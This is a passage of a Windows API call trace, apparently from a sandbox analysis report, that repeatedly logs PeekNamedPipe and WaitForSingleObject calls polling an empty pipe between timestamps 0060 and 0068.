lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0060.321] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0060.352] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0060.353] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0060.477] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0060.477] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0060.508] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0060.508] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0060.539] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0060.539] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0060.588] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0060.588] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0060.626] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0060.626] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0060.649] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0060.649] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0060.692] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0060.692] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0060.712] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0060.712] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0060.754] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0060.754] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0060.931] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0060.931] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0061.033] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0061.033] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0061.054] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0061.055] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0061.108] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0061.108] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0061.138] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0061.147] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0061.185] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0061.193] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0061.232] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0061.236] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0061.258] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0061.270] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0061.306] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0061.318] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0061.352] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0061.352] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0062.470] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0062.470] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0062.810] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0062.829] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0062.864] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0062.864] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0062.920] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0062.920] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0062.968] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0062.991] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0063.039] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0063.060] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0063.132] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0063.133] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0063.166] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0063.178] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0063.618] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0063.619] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0063.649] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0063.649] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0063.675] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0063.675] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0063.707] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0063.707] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0063.737] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0063.737] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0063.770] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0063.770] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0063.800] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0063.800] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0063.832] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0063.832] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0063.862] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0063.862] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0063.896] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0063.896] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0065.300] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0065.340] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0065.390] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0065.390] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0065.459] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0065.459] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0065.533] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0065.533] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0065.574] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0065.990] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0066.015] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.015] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0066.048] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.048] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0066.077] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.077] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0066.110] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.110] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0066.139] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.140] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0066.172] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.173] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0066.202] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.202] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0066.234] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.234] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0066.264] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.264] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0066.296] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.297] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0066.327] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.327] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0066.359] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.359] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0066.401] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.401] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0066.421] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.421] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0066.451] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.452] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0066.484] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.484] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0066.514] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.514] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0066.546] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.546] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0066.576] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.576] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0066.608] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.608] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0066.639] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.639] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0066.671] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.671] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0066.701] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0066.701] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0067.113] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0067.113] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0067.148] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0067.148] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0068.060] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, 